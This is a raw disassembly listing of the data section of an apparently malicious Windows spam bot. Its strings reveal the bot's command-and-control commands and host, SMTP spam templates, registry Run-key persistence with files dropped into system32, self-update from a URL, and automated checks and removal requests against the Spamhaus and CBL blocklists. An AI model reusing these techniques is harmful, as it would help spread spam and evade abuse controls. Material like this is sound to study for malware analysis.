dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h
dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h
dd 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h, 0B0A0908h
dd 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h, 1F1E1D1Ch
dd 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch, 33323130h
dd 37363534h, 3B3A3938h, 3F3E3D3Ch, 63626140h, 67666564h
dd 6B6A6968h, 6F6E6D6Ch, 73727170h, 77767574h, 5B7A7978h
dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
dd 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h
dd 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h, 0E7E6E5E4h
dd 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h, 0FBFAF9F8h
dd 0FFFEFDFCh, 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch
dd 93929190h, 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h
dd 0A7A6A5A4h, 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h
dd 0BBBAB9B8h, 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h
dd 0CFCECDCCh, 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F7F6F5F4h, 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h
dd 0B0A0908h, 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h
dd 1F1E1D1Ch, 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch
dd 33323130h, 37363534h, 3B3A3938h, 3F3E3D3Ch, 43424140h
dd 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h
dd 5B5A5958h, 5F5E5D5Ch, 43424160h, 47464544h, 4B4A4948h
dd 4F4E4D4Ch, 53525150h, 57565554h, 7B5A5958h, 7F7E7D7Ch
dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h
dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h
dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h
dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh
dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h
dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h
dd 0FBFAF9F8h, 0FFFEFDFCh, 6D3A4848h, 73733A6Dh, 0
aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .vty:00423EBCo
aMmDdYy db 'MM/dd/yy',0 ; DATA XREF: .vty:00423EB8o
align 4
aPm db 'PM',0 ; DATA XREF: .vty:00423EB4o
align 10h
aAm db 'AM',0 ; DATA XREF: .vty:00423EB0o
align 4
aDecember db 'December',0 ; DATA XREF: .vty:00423EACo
align 10h
aNovember db 'November',0 ; DATA XREF: .vty:00423EA8o
align 4
aOctober db 'October',0 ; DATA XREF: .vty:00423EA4o
aSeptember db 'September',0 ; DATA XREF: .vty:00423EA0o
align 10h
aAugust db 'August',0 ; DATA XREF: .vty:00423E9Co
align 4
aJuly db 'July',0 ; DATA XREF: .vty:00423E98o
align 10h
aJune db 'June',0 ; DATA XREF: .vty:00423E94o
align 4
aApril db 'April',0 ; DATA XREF: .vty:00423E8Co
align 10h
aMarch db 'March',0 ; DATA XREF: .vty:00423E88o
align 4
aFebruary db 'February',0 ; DATA XREF: .vty:00423E84o
align 4
aJanuary db 'January',0 ; DATA XREF: .vty:00423E80o
aDec db 'Dec',0 ; DATA XREF: .vty:00423E7Co
aNov db 'Nov',0 ; DATA XREF: .vty:00423E78o
aOct db 'Oct',0 ; DATA XREF: .vty:00423E74o
aSep db 'Sep',0 ; DATA XREF: .vty:00423E70o
aAug db 'Aug',0 ; DATA XREF: .vty:00423E6Co
aJul db 'Jul',0 ; DATA XREF: .vty:00423E68o
aJun db 'Jun',0 ; DATA XREF: .vty:00423E64o
aMay db 'May',0 ; DATA XREF: .vty:00423E60o
; .vty:00423E90o
aApr db 'Apr',0 ; DATA XREF: .vty:00423E5Co
aMar db 'Mar',0 ; DATA XREF: .vty:00423E58o
aFeb db 'Feb',0 ; DATA XREF: .vty:00423E54o
aJan db 'Jan',0 ; DATA XREF: .vty:00423E50o
aSaturday db 'Saturday',0 ; DATA XREF: .vty:00423E4Co
align 4
aFriday db 'Friday',0 ; DATA XREF: .vty:00423E48o
align 10h
aThursday db 'Thursday',0 ; DATA XREF: .vty:00423E44o
align 4
aWednesday db 'Wednesday',0 ; DATA XREF: .vty:00423E40o
align 4
aTuesday db 'Tuesday',0 ; DATA XREF: .vty:00423E3Co
aMonday db 'Monday',0 ; DATA XREF: .vty:00423E38o
align 4
aSunday db 'Sunday',0 ; DATA XREF: .vty:00423E34o
align 10h
aSat db 'Sat',0 ; DATA XREF: .vty:00423E30o
aFri db 'Fri',0 ; DATA XREF: .vty:00423E2Co
aThu db 'Thu',0 ; DATA XREF: .vty:00423E28o
aWed db 'Wed',0 ; DATA XREF: .vty:00423E24o
aTue db 'Tue',0 ; DATA XREF: .vty:00423E20o
aMon db 'Mon',0 ; DATA XREF: .vty:00423E1Co
aSun db 'Sun',0 ; DATA XREF: .vty:off_423E18o
aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: sub_419937+C1o
aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: sub_419937+A9o
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_419937+6Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_419937+58o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_419937+46o
aUser32_dll db 'USER32.DLL',0 ; DATA XREF: sub_419937+28o
align 4
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aConout db 'CONOUT$',0 ; DATA XREF: sub_41ACB3+Eo
align 8
dd 86808006h, 808180h, 86031000h, 80828680h, 45050514h
dd 85854545h, 585h, 50803030h, 8008880h, 38272800h, 805750h
dd 30370007h, 88505030h, 20000000h, 80888028h, 80h
aHHhhXppwpp db '`h`hhh',8,8,7,'xppwpp',8,8,0
dw 800h
dd 7000800h, 8
dword_41DFB4 dd 20646162h, 6F6C6C61h, 69746163h, 6E6Fh ; .vty:00423004o ...
aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate',0
; DATA XREF: sub_401065+11o
; sub_4010E1+19o
aAltclientid db 'AltClientId',0 ; DATA XREF: sub_401065+36o
; sub_4010E1+51o
aC db 'C:\',0 ; DATA XREF: sub_401156+B5o
a02x db '%02x',0 ; DATA XREF: sub_401156+160o
align 4
dd offset dword_41F340
off_41E018 dd offset sub_40CBAC ; DATA XREF: sub_401156+5Fo
dd offset sub_40CBE4
dword_41E020 dd 0 ; sub_401A4D+BDo ...
dword_41E024 dd 2425h dword_41E028 dd 203A2121h, 0 dword_41E030 dd 203A4545h, 0 dword_41E038 dd 203A5757h, 0 dword_41E040 dd 203A4949h, 0 dword_41E048 dd 203A4244h, 0 aListTTooLong db 'list<T> too long',0 ; DATA XREF: sub_401F07+29o
; sub_405EBC+1Co
align 4
aAbcdefghijklmn db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_403C76+21o
; sub_403C76+8Br ...
align 10h
aCa db 'ca',0 ; DATA XREF: .vty:0042432Co
align 4
aPl db 'pl',0 ; DATA XREF: .vty:00424328o
align 4
aEdu db 'edu',0 ; DATA XREF: .vty:00424324o
aOrg db 'org',0 ; DATA XREF: .vty:00424320o
aInfo db 'info',0 ; DATA XREF: .vty:0042431Co
align 4
aBiz db 'biz',0 ; DATA XREF: .vty:00424318o
aNet db 'net',0 ; DATA XREF: .vty:00424314o
aCom db 'com',0 ; DATA XREF: .vty:off_424310o
aMailbotGetmess db 'MailBot::getMessage: no templates or no from domain',0Ah,0
; DATA XREF: sub_402979+F6o
align 4
aSuccS@S db 'succ: %s@%s',0Ah,0 ; DATA XREF: sub_402BCF+34o
align 4
aUnlkS@SConnect db 'unlk: %s@%s (connection error)',0Ah,0 ; DATA XREF: sub_402BCF+77o
aFailS@SMatched db 'fail: %s@%s matched string ',27h,'%s',27h,0Ah,0
; DATA XREF: sub_402BCF+1D4o
align 10h
aUnlkS@SS db 'unlk: %s@%s (%s)',0Ah,0 ; DATA XREF: sub_402BCF+21Ao
align 4
aD_D_D_D_inAddr db '%d.%d.%d.%d.in-addr.arpa',0 ; DATA XREF: sub_402F64+5Bo
align 10h
aServerVersionD db 'Server version %d.%d.%d, my ip %s (%s)',0Ah,0
; DATA XREF: sub_402F64+19Eo
aPong db 'PONG',0Ah,0 ; DATA XREF: sub_40313Bo
align 10h
aEmails db 'EMAILS',0Ah,0 ; DATA XREF: sub_403151+21o
aMailbotOnemail db 'MailBot::onEmails: got empty bucket',0Ah,0 ; DATA XREF: sub_403151+41o
align 10h
aConfig db 'CONFIG',0Ah,0 ; DATA XREF: sub_4033DA+23o
aUninstall db 'UNINSTALL',0 ; DATA XREF: sub_40376E+Do
align 4
aUninstalling db 'Uninstalling',0Ah,0 ; DATA XREF: sub_40376E+20o
align 4
aUpdatingFromS db 'Updating from %s',0Ah,0 ; DATA XREF: sub_40376E+3Fo
align 4
aMailbotOnupdat db 'MailBot::onUpdate: trying to return?!',0
; DATA XREF: sub_40376E:loc_4037EAo
align 10h
aIdleD db 'IDLE: %d',0Ah,0 ; DATA XREF: sub_40376E+B6o
align 4
aGotSomeEmailsT db 'Got some emails to return, not waiting',0Ah,0
; DATA XREF: sub_40376E+125o
aQuitD db 'QUIT: %d',0Ah,0 ; DATA XREF: .vty:004038FFo
align 10h
aPutfdomainsD db 'PUTFDOMAINS %d',0Ah,0 ; DATA XREF: .vty:00403960o
aGmail_com db 'gmail.com',0 ; DATA XREF: sub_40399B+1Eo
; sub_403C76+105o
align 4
aD_D_D_D_sblXbl db '%d.%d.%d.%d.sbl-xbl.spamhaus.org',0 ; DATA XREF: sub_403A28+3Eo
align 10h
aSblListed_ db 'SBL listed.',0Ah,0 ; DATA XREF: sub_403A28+DDo
align 10h
aXblListed_ db 'XBL listed.',0Ah,0 ; DATA XREF: sub_403A28+D3o
align 10h
aStrangeRblReco db 'Strange RBL record %s',0Ah,0 ; DATA XREF: sub_403A28+B8o
align 4
aNotOnRbl_LetSR db 'Not on RBL. Let',27h,'s rock!',0Ah,0 ; DATA XREF: sub_403A28:loc_403B2Co
align 4
aProxyLockFound db 'Proxy lock found: %s',0Ah,0 ; DATA XREF: sub_403B47+8Eo
align 4
aSmtp_ db 'smtp.',0 ; DATA XREF: sub_403B47:loc_403C02o
align 4
aMail_ db 'mail.',0 ; DATA XREF: sub_403B47:loc_403C34o
align 4
aNoProxyLockFou db 'No proxy lock found',0Ah,0 ; DATA XREF: sub_403B47+115o
align 4
asc_41E334 db '*/*',0 ; DATA XREF: sub_403E41+65o
aImageGif db 'image/gif',0 ; DATA XREF: sub_403E41+76o
align 4
aImageXBitmap db 'image/x-bitmap',0 ; DATA XREF: sub_403E41+80o
align 4
aImageJpeg db 'image/jpeg',0 ; DATA XREF: sub_403E41+8Ao
align 10h
aImagePjpeg db 'image/pjpeg',0 ; DATA XREF: sub_403E41+94o
aCbl_abuseat_or db 'cbl.abuseat.org',0 ; DATA XREF: sub_403E41+5Ao
aInternetconnec db 'InternetConnect: %$',0Ah,0 ; DATA XREF: sub_403E41+C0o
align 4
aLookup_cgi db 'lookup.cgi',0 ; DATA XREF: sub_403E41+E9o
align 10h
aGet db 'GET',0 ; DATA XREF: sub_403E41+EEo
; sub_403E41+274o ...
aHttpopenreques db 'HttpOpenRequest: %$',0Ah,0 ; DATA XREF: sub_403E41+107o
; sub_403E41+292o ...
align 4
aAcceptLanguage db 'Accept-Language: en',0Dh,0Ah,0 ; DATA XREF: sub_403E41:loc_403F69o
; sub_403E41:loc_4040EDo ...
align 4
aAcceptEncoding db 'Accept-Encoding: gzip, deflate',0Dh,0Ah,0 ; DATA XREF: sub_403E41+135o
; sub_403E41+2B9o ...
align 4
aHttpsendreques db 'HttpSendRequest: %$',0Ah,0 ; DATA XREF: sub_403E41+166o
; sub_403E41+2EAo ...
align 10h
aRblServerRespo db 'RBL server response code: %d',0Ah,0 ; DATA XREF: sub_403E41+1FFo
; sub_403E41+378o ...
align 10h
aLookup_cgi?ip db 'lookup.cgi?ip=',0 ; DATA XREF: sub_403E41+226o
align 10h
aSubmitLookup db '&submit=Lookup',0 ; DATA XREF: sub_403E41+247o
align 10h
aHttpCbl_abusea db 'http://cbl.abuseat.org/lookup.cgi',0 ; DATA XREF: sub_403E41+26Do
align 4
aWasNotFound db 'was not found',0 ; DATA XREF: sub_403E41+393o
align 4
aNotListed_ db 'Not listed.',0Ah,0 ; DATA XREF: sub_403E41+3B1o
align 4
aRemove_cgi?ip db 'remove.cgi?ip=',0 ; DATA XREF: sub_403E41+3E5o
align 4
aNameConfirmVal db 'name="confirm" value="',0 ; DATA XREF: sub_403E41+512o
align 4
aCannotFindConf db 'Cannot find confirmation code to remove ip from RBL',0Ah,0
; DATA XREF: sub_403E41+530o
; sub_403E41+56Bo
align 4
aRemove_cgi db 'remove.cgi',0 ; DATA XREF: sub_403E41+5C5o
align 10h
aPost db 'POST',0 ; DATA XREF: sub_403E41+5CAo
align 4
aContentTypeApp db 'Content-Type: application/x-www-form-urlencoded',0Dh,0Ah,0
; DATA XREF: sub_403E41+60Ao
align 4
aIp db 'ip=',0 ; DATA XREF: sub_403E41+626o
aConfirm db '&confirm=',0 ; DATA XREF: sub_403E41+641o
align 10h
aOwnerYesVirusP db '&owner=yes&virus=&proxy=&comments=&canread=yes&.submit=.Remove+',0
; DATA XREF: sub_403E41+691o
aRespawningAsS_ db 'Respawning as %s ...',0Ah,0 ; DATA XREF: sub_40460B+1Ao
align 4
aSystem32Helper db '\system32\helpermnew1winc4.exe',0 ; DATA XREF: sub_40460B+48o
align 4
aRt_helper db 'RT_HELPER',0 ; DATA XREF: sub_40460B+55o
align 4
aFindresource db 'FindResource: %$',0Ah,0 ; DATA XREF: sub_40460B+73o
align 4
aWb db 'wb',0 ; DATA XREF: sub_40460B+A6o
; sub_40499E+65o
align 4
aFopenDS db 'fopen: (%d) %s',0Ah,0 ; DATA XREF: sub_40460B+D3o
; sub_40499E+95o
aCreateprocess db 'CreateProcess: %$',0Ah,0 ; DATA XREF: sub_40460B+17Eo
align 10h
aSystem32Mnew1w db '\system32\mnew1winc4.exe',0 ; DATA XREF: sub_4047AC+2Co
align 4
aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: sub_4047AC+61o
; sub_4048E7+2Ao
align 4
aMlrnew1c4 db 'mlrnew1c4',0 ; DATA XREF: sub_4047AC+8Bo
; sub_4047AC+D8o ...
align 4
asc_41E668 db '-X',0 ; DATA XREF: sub_4048E7:loc_40496Bo
align 4
aPerformingUpda db 'Performing update from URL: %s',0Ah,0 ; DATA XREF: sub_40499E+25o
aSystem32Update db '\system32\updatemnew1winc4.exe',0 ; DATA XREF: sub_40499E+54o
align 4
aInternetopenur db 'InternetOpenUrl: %$',0Ah,0 ; DATA XREF: sub_40499E+DBo
align 4
aBlah db 'BLAH',0 ; DATA XREF: sub_405089+25o
align 4
aUnknown db 'UNKNOWN',0 ; DATA XREF: sub_404B2B+89o
; sub_404B2B+304o
aGetnativesyste db 'GetNativeSystemInfo',0 ; DATA XREF: sub_404B2B:loc_404BC3o
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_404B2B+9Do
; sub_4182CC+44o
align 4
aWindowsVista db 'Windows Vista ',0 ; DATA XREF: sub_404B2B+105o
align 4
aWindowsServerL db 'Windows Server "Longhorn" ',0 ; DATA XREF: sub_404B2B:loc_404C37o
align 4
aMicrosoftWindo db 'Microsoft Windows Server 2003 "R2" ',0 ; DATA XREF: sub_404B2B+131o
aMicrosoftWin_0 db 'Microsoft Windows XP Professional x64 Edition ',0
; DATA XREF: sub_404B2B+148o
align 4
aMicrosoftWin_1 db 'Microsoft Windows Server 2003, ',0 ; DATA XREF: sub_404B2B:loc_404C7Ao
aMicrosoftWin_2 db 'Microsoft Windows XP ',0 ; DATA XREF: sub_404B2B+15Fo
align 10h
aMicrosoftWin_3 db 'Microsoft Windows 2000 ',0 ; DATA XREF: sub_404B2B+16Eo
aMicrosoftWin_4 db 'Microsoft Windows NT ',0 ; DATA XREF: sub_404B2B+17Eo
align 10h
aWorkstation4_0 db 'Workstation 4.0 ',0 ; DATA XREF: sub_404B2B+1BFo
align 4
aHomeEdition db 'Home Edition ',0 ; DATA XREF: sub_404B2B+1CFo
align 4
aProfessional db 'Professional ',0 ; DATA XREF: sub_404B2B:loc_404D04o
align 4
aDatacenterEdit db 'Datacenter Edition for Itanium-based Systems',0
; DATA XREF: sub_404B2B+21Do
align 4
aEnterpriseEdit db 'Enterprise Edition for Itanium-based Systems',0
; DATA XREF: sub_404B2B+22Eo
align 4
aDatacenterX64E db 'Datacenter x64 Edition ',0 ; DATA XREF: sub_404B2B+248o
aEnterpriseX64E db 'Enterprise x64 Edition ',0 ; DATA XREF: sub_404B2B+258o
aStandardX64Edi db 'Standard x64 Edition ',0 ; DATA XREF: sub_404B2B:loc_404D8Ao
align 4
aDatacenterEd_0 db 'Datacenter Edition ',0 ; DATA XREF: sub_404B2B+26Co
aEnterpriseEd_0 db 'Enterprise Edition ',0 ; DATA XREF: sub_404B2B+27Fo
aWebEdition db 'Web Edition ',0 ; DATA XREF: sub_404B2B+28Eo
align 4
aStandardEditio db 'Standard Edition ',0 ; DATA XREF: sub_404B2B:loc_404DC0o
align 4
aDatacenterServ db 'Datacenter Server ',0 ; DATA XREF: sub_404B2B+2AEo
align 4
aAdvancedServer db 'Advanced Server ',0 ; DATA XREF: sub_404B2B+2BBo
; sub_404B2B+396o
align 10h
aServer db 'Server ',0 ; DATA XREF: sub_404B2B:loc_404DEDo
; sub_404B2B+37Do
aServer4_0Enter db 'Server 4.0, Enterprise Edition ',0 ; DATA XREF: sub_404B2B+2D2o
aServer4_0 db 'Server 4.0 ',0 ; DATA XREF: sub_404B2B:loc_404E04o
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\ProductOptions',0
; DATA XREF: sub_404B2B+2F1o
aProducttype db 'ProductType',0 ; DATA XREF: sub_404B2B+327o
aWinnt db 'WINNT',0 ; DATA XREF: sub_404B2B+359o
align 4
aWorkstation db 'Workstation ',0 ; DATA XREF: sub_404B2B+364o
align 4
aLanmannt db 'LANMANNT',0 ; DATA XREF: sub_404B2B+372o
align 4
aServernt db 'SERVERNT',0 ; DATA XREF: sub_404B2B+38Bo
align 10h
aD_D db '%d.%d ',0 ; DATA XREF: sub_404B2B+3B6o
align 4
aServicePack6 db 'Service Pack 6',0 ; DATA XREF: sub_404B2B+3EBo
align 4
aSoftwareMicr_1 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\Q246009',0
; DATA XREF: sub_404B2B+409o
aServicePack6aB db 'Service Pack 6a (Build %d)',0 ; DATA XREF: sub_404B2B+421o
align 10h
aSBuildD db '%s (Build %d)',0 ; DATA XREF: sub_404B2B+43Fo
; sub_404B2B+47Eo
align 10h
aMicrosoftWin_5 db 'Microsoft Windows 95 ',0 ; DATA XREF: sub_404B2B+4BBo
align 4
aOsr2 db 'OSR2 ',0 ; DATA XREF: sub_404B2B:loc_405006o
align 10h
aMicrosoftWin_6 db 'Microsoft Windows 98 ',0 ; DATA XREF: sub_404B2B+4EBo
align 4
aSe db 'SE ',0 ; DATA XREF: sub_404B2B:loc_405036o
aMicrosoftWin_7 db 'Microsoft Windows Millennium Edition',0 ; DATA XREF: sub_404B2B+51Bo
align 4
aMicrosoftWin32 db 'Microsoft Win32s',0 ; DATA XREF: sub_404B2B:loc_40504Do
align 4
aG6_jeiahsdod_n db 'g6.jeiahsdod.net',0 ; DATA XREF: sub_40B642+69o
align 4
aRunningOnS db 'Running on %s',0Ah,0 ; DATA XREF: sub_405089+FAo
align 4
aCommErrorS db 'Comm error: %s',0Ah,0 ; DATA XREF: .vty:004052E9o
aVectorTTooLong db 'vector<T> too long',0 ; DATA XREF: sub_40684D+Do
align 10h
aDequeTTooLong db 'deque<T> too long',0 ; DATA XREF: sub_405C5B+774o
align 4
dd offset dword_41F628
off_41EB28 dd offset loc_40248A ; DATA XREF: .vty:loc_40244Bo
; sub_402452+6o ...
dd offset sub_40FB38
dd offset dword_41F5C0
off_41EB34 dd offset sub_402F64 ; DATA XREF: sub_402509+14o
; sub_40260A+Eo
dd offset sub_40313B
dd offset sub_403151
dd offset sub_4033DA
dd offset sub_40376E
db 19h, 38h, 40h
; ---------------------------------------------------------------------------
loc_41EB4B: ; CODE XREF: .vty:0041EB54j
add ah, dh
cmp [eax+0], al
dec edi
cmp [eax+0], eax
jz short loc_41EB4B
inc ecx
; ---------------------------------------------------------------------------
db 0
off_41EB58 dd offset loc_40248A ; DATA XREF: sub_403151+1EFo
dd offset sub_40B49B
dd offset dword_41F528
off_41EB64 dd offset loc_40246E ; DATA XREF: sub_402AA0+B7o
dd offset sub_407784
dd offset dword_41F4DC
off_41EB70 dd offset loc_40248A ; DATA XREF: sub_403151+1DDo
dd offset sub_407C9A
aNoRecipientsAc db 'No recipients accepted',0Ah,0 ; DATA XREF: sub_407949+18Fo
; sub_407E77+1AEo
aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',0
; DATA XREF: sub_4080EE+24o
aInternetopenD db 'InternetOpen: (%d) %$',0Ah,0 ; DATA XREF: sub_4080EE+3Fo
align 10h
a0_0_0_0 db '0.0.0.0',0 ; DATA XREF: sub_40583B+37o
asc_41EBE8 db 0Dh,0Ah,0 ; DATA XREF: sub_4089E6+20Ao
; sub_4093C0+10o ...
align 4
a_: ; DATA XREF: sub_4081BF:loc_408216o
; sub_4081BF:loc_4084E4o
unicode 0, <.>,0
a__0 db 0Dh,0Ah ; DATA XREF: sub_4081BF+215o
; sub_40D0B0+9Ao
db '.',0Dh,0Ah,0
align 4
a_date db '_DATE',0 ; DATA XREF: sub_408593+58o
align 10h
a_my_ip db '_MY_IP',0 ; DATA XREF: sub_408593+91o
align 4
a_my_hostname db '_MY_HOSTNAME',0 ; DATA XREF: sub_408593+CEo
align 4
a_from_domain db '_FROM_DOMAIN',0 ; DATA XREF: sub_408593+108o
align 4
a_sender db '_SENDER',0 ; DATA XREF: sub_408593:loc_4088F4o
a_helo db '_HELO',0 ; DATA XREF: sub_408593+39Co
align 4
asc_41EC38 db '#$',0 ; DATA XREF: sub_4094C5+7o
; sub_4094C5+50o
align 4
aDict db 'DICT',0 ; DATA XREF: sub_4089E6:loc_408BACo
align 4
aDict_sp db 'DICT_SP',0 ; DATA XREF: sub_4089E6:loc_408BC5o
asc_41EC4C: ; DATA XREF: sub_4089E6+1F1o
unicode 0, < >,0
aDict_nl db 'DICT_NL',0 ; DATA XREF: sub_4089E6:loc_408BDEo
aRand_num db 'RAND_NUM',0 ; DATA XREF: sub_4089E6:loc_408C09o
align 4
a0123456789 db '0123456789',0 ; DATA XREF: sub_4089E6+235o
align 10h
aRand_char_lc db 'RAND_CHAR_LC',0 ; DATA XREF: sub_4089E6:loc_408C22o
align 10h
aRand_char_uc db 'RAND_CHAR_UC',0 ; DATA XREF: sub_4089E6:loc_408C3Bo
align 10h
aAbcdefghijkl_0 db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_4089E6+267o
align 4
aRand_char_mc db 'RAND_CHAR_MC',0 ; DATA XREF: sub_4089E6:loc_408C54o
align 4
aAbcdefghijkl_1 db 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',0
; DATA XREF: sub_4089E6+280o
align 4
aRand_char_num db 'RAND_CHAR_NUM',0 ; DATA XREF: sub_4089E6:loc_408C6Do
align 4
aAbcdefghijkl_2 db 'abcdefghijklmnopqrstuvwxyz0123456789',0 ; DATA XREF: sub_4089E6+299o
align 4
aRecipients db 'RECIPIENTS',0 ; DATA XREF: sub_4089E6:loc_408C91o
align 4
aTo db 'To: ',0 ; DATA XREF: sub_409016+DAo
align 10h
asc_41ED40 db ', ',0 ; DATA XREF: sub_409016+118o
; sub_409016+1F3o ...
align 4
aCc db 0Dh,0Ah ; DATA XREF: sub_409016+1B5o
db 'Cc: ',0
align 4
aBcc db 0Dh,0Ah ; DATA XREF: sub_409016+290o
db 'Bcc: ',0
aMapSetTTooLong db 'map/set<T> too long',0 ; DATA XREF: sub_409C73+1Ao
; sub_40A5B6+1Ao
aInvalidMapSetT db 'invalid map/set<T> iterator',0 ; DATA XREF: sub_40A92E+19o
; sub_40ACEC+19o
aNomxS@S db 'nomx: %s@%s',0Ah,0 ; DATA XREF: sub_40B49B+17Eo
align 4
aServercommConn db 'ServerComm::connect: cannot create socket',0 ; DATA XREF: sub_40B642+2Do
align 10h
aServercommCo_0 db 'ServerComm::connect: unknown host',0 ; DATA XREF: sub_40B642+8Co
align 4
aServercommCo_1 db 'ServerComm::connect: cannot connect',0 ; DATA XREF: sub_40B642+DFo
aServercommDoco db 'ServerComm::doCommand: disconnected while sending header',0
; DATA XREF: sub_40BA6E+20o
align 4
aServercommDo_0 db 'ServerComm::doCommand: disconnected white sending body',0
; DATA XREF: sub_40BA6E+6Bo
align 4
aServercommGetr db 'ServerComm::getResponse: disconnected while receiving header',0
; DATA XREF: sub_40BB2D+3Ao
align 4
aServercommGe_0 db 'ServerComm::getResponse: unexpected response',0
; DATA XREF: sub_40BB2D:loc_40BBD2o
align 4
aServercommGe_1 db 'ServerComm::getResponse: insane response size',0
; DATA XREF: sub_40BB2D+E1o
align 4
aServercommGe_2 db 'ServerComm::getResponse: disconnected while receiving body',0
; DATA XREF: sub_40BB2D+13Fo
align 4
aServercommGe_3 db 'ServerComm::getResponse: bad response -- SHOULD HAVE BEEN CAUGHT!'
; DATA XREF: sub_40BB2D+247o
db 0
align 4
aServercommRead db 'ServerComm::readDomains: email does not belong to any domain',0
; DATA XREF: sub_40BDCD:loc_40BFF6o
align 4
aConfigPacketHa db 'Config packet has incorrect size',0 ; DATA XREF: sub_40C10E+19o
align 10h
dword_41F000 dd 5A827999h dd 6ED9EBA1h, 8F1BBCDCh, 0CA62C1D6h
aSmtpclientConn db 'SmtpClient::connect: unknown host: %s',0Ah,0 ; DATA XREF: sub_40CCCC+75o
align 4
aSmtpclientCo_0 db 'SmtpClient::connect: cannot connect to %s [%s]',0Ah,0
; DATA XREF: sub_40CCCC+103o
aSmtpclientComm db 'SmtpClient::command: connection broken',0Ah,0
; DATA XREF: sub_40CDF4+5Fo
aHelo db 'HELO ',0 ; DATA XREF: sub_40CE97+23o
align 4
aSmtpclientHelo db 'SmtpClient::helo: connection broken',0Ah,0 ; DATA XREF: sub_40CE97+6Ao
align 10h
aMailFrom db 'MAIL FROM: <',0 ; DATA XREF: sub_40CF4A+23o
align 10h
asc_41F0D0 db '>',0Dh,0Ah,0 ; DATA XREF: sub_40CF4A+3Fo
; sub_40CFFD+3Fo
aSmtpclientMail db 'SmtpClient::mailFrom: connection broken',0Ah,0
; DATA XREF: sub_40CF4A+6Ao
align 10h
aRcptTo db 'RCPT TO: <',0 ; DATA XREF: sub_40CFFD+23o
align 4
aSmtpclientRcpt db 'SmtpClient::rcptTo: connection broken',0Ah,0 ; DATA XREF: sub_40CFFD+6Ao
align 4
aData db 'DATA',0Dh,0Ah,0 ; DATA XREF: sub_40D0B0+11o
align 4
aSmtpclientData db 'SmtpClient::data: connection broken',0Ah,0 ; DATA XREF: sub_40D0B0+42o
align 4
aQuit db 'QUIT',0Dh,0Ah,0 ; DATA XREF: sub_40D183+11o
align 4
aSmtpclientQuit db 'SmtpClient::quit: connection broken',0Ah,0 ; DATA XREF: sub_40D183+3Fo
align 4
aDddDdMmmYyyy db 'ddd',27h,',',27h,' dd MMM yyyy ',0 ; DATA XREF: sub_40D2A0+25o
aHhMmSs db 'HH',27h,':',27h,'mm',27h,':',27h,'ss ',0 ; DATA XREF: sub_40D2A0+53o
align 4
a02_2d02d db '%+02.2d%02d',0 ; DATA XREF: sub_40D2A0+88o
aSmtpclientRecv db 'SmtpClient::recvResponse: connection broken',0Ah,0
; DATA XREF: sub_40D355:loc_40D44Bo
align 4
aS db '%s',0Ah,0 ; DATA XREF: sub_40D355+1D3o
dd 28h dup(0)
